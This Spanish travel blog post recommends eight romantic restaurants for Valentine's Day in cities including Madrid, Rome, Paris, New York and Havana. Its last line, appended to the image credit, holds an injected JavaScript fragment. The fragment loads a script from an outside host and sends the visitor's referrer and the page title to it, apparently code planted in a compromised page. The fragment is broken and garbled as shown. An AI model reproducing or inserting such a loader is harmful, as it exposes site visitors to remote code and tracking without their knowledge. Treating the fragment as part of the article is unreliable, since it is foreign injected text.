Ya está aquí, ya llegó. El mes de febrero nos trae una de esas fechas mágicas que la gran mayoría de los mortales llevamos todo el año esperando: San Valentín. Puedes hacerte el duro (o la dura) y decir que no eres mucho de esta celebración o que simplemente se trata de una estrategia comercial más, pero, en el fondo, tú y yo sabemos que te encanta aprovechar este día para sorprender a tu pareja con una velada de lo más especial. Piénsalo: el aroma de un ramo de flores, esa cena inolvidable en un enclave de postín, una botella de vino y, de postre… algo dulce, sumamente dulce.
Y es que no hay nada como un buen restaurante para celebrar esta cita tan señalada, una opción inmejorable para disfrutar de su preciada compañía en un ambiente íntimo, de lo más acogedor. Por ello, hemos decidido ser tus cómplices: aquí tienes ocho románticos restaurantes en ocho destinos de Iberia, ideales para hacer de esta noche una noche perfecta.
El Club Allard, Madrid. Sólo con ver los nombres de sus tres menús de degustación ya puedes hacerte una idea de por dónde van los tiros: encuentro, seducción y revolución. Este delicado local del centro de Madrid es un verdadero regalo gastronómico, con creaciones atractivas, originales y de presentación muy atrevida; aquí no sólo entrará en juego tu paladar, también lo harán todos tus sentidos. Cuenta con dos Estrellas Michelín. Su decoración, de corte clásico y cuidada hasta el más mínimo detalle, ayudará a crear esa atmósfera tan exclusiva que estás buscando.
Ristorante Aroma, Roma. Una terraza que respira glamour, iluminada con la luz de las velas y ubicada… ¡frente al coliseo! No encontrarás nada mejor en la Ciudad Eterna para impresionar a tu pareja; su panorámica os acabará cautivando, y más si habéis reservado para cenar durante la puesta de sol. Su cocina podría pasar a un segundo plano teniendo en cuenta el entorno, pero nada más lejos de la realidad: platos de diseño llenos de colores que serán una explosión de sabor en tu boca. Atento a su amplia carta de vinos, de las mejores de Roma. Cuentan con menú degustación y, por supuesto, también con una opción especial para San Valentín.
Le Capitaine Fracasse, París. ¿Vais a visitar París para juraros amor eterno? ¿Estáis listos para una experiencia completamente diferente? Entonces, bienvenidos a esta cena a bordo de un barco sobre el río Sena. No solo tendréis la oportunidad de saborear comida típica del país y degustar alguno de sus excelentes vinos, durante el recorrido también contemplaréis de cerca algunos de los monumentos más importantes de la ciudad dentro de un entorno espectacular, incomparable. La iluminación nocturna se encargará de hechizaros para llevaros de la mano hasta un ambiente especialmente seductor en el que cumplir vuestros sueños.
Pla, Barcelona. Hablar de restaurantes románticos en la capital catalana es hacerlo obligatoriamente del Pla. Se trata de un local intimista, con decoración rústica y característico por una luz tenue que se convertirá en tu mejor compañera de viaje; un lugar perfecto para confesarle tu amor. Su oferta gastronómica combina la cocina mediterránea con interesantes pinceladas asiáticas, pudiendo elegir entre servicio a la carta y menú degustación. Destaca por el colorido de sus platos y por la fusión de sabores, creando auténticas obras de arte.
Aureole, Nueva York. Aquí no se andan con rodeos a la hora de celebrar San Valentín: cuentan hasta con un menú de características afrodisíacas, el Aphrodisiac Tasting Menu, que os permitirá recorrer el lado más intrépido de la gastronomía. Muy cerca de Times Square, este restaurante de Nueva York destaca por compaginar una decoración sencilla, elegante, con una cocina de autor muy trabajada y que se basa en carnes y pescados de primera calidad. Los sabores intensos conforman su razón de ser. Una elección insuperable para esa cena de gala con la que sorprender a tu pareja.
Biko, Ciudad de México. Estamos ante un restaurante peculiar, una alternativa de categoría si lo vuestro es alejaros de lo convencional. Ubicado en la exclusiva colonia Polanco de Ciudad de México, las cocinas de Biko están comandadas por el célebre chef Bruno Oteiza, que se ha encargado de fusionar lo mejor de las gastronomías española y mexicana para elaborar verdaderos bocados de placer; son creaciones sofisticadas que llenarán vuestra noche de momentos únicos, irrepetibles y que guardaréis por siempre en la memoria. Su agradable atmósfera dará pie a confiaros mutuamente más de un secreto.
El último beso, Buenos Aires. Ya sea dentro del local, ya sea en su porche al aire libre, este local de Buenos Aires es una verdadera oda al buen gusto. Su decoración ecléctica le confiere una singular personalidad que os acabará atrapando del primer al último beso. Su carta está compuesta por sabrosos entrantes y por recetas de marcado estilo italiano, y disponen además de una interesante bodega con los mejores caldos del país. Ellos pondrán el escenario; vuestras confesiones y una buena botella de vino se encargarán del resto. Posdata: si olvidaste comprarle algún detalle, tranquilo/a: disponen de una tienda con moda vintage y objetos de regalo.
La Guarida, La Habana. Atención, porque todavía tenemos más sorpresas. ¿Habéis visto la película Fresa y Chocolate? Entonces seguro que os sonará este paladar (nombre que reciben en la isla los restaurantes privados) tan delicado como exquisito, quizá el más romántico de todo Cuba. Comida caribeña con un toque refinado, de primer nivel, que se caracteriza por una visión perfeccionista a la hora de emplatar; sus luces tenues y su singular decoración acaban creando un ambiente único, idóneo para que disfrutar de esta noche tan especial. Eso sí, no te olvides de reservar mesa con antelación.
Imágenes | Seleccionadas de la propia web de cada restaurante.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;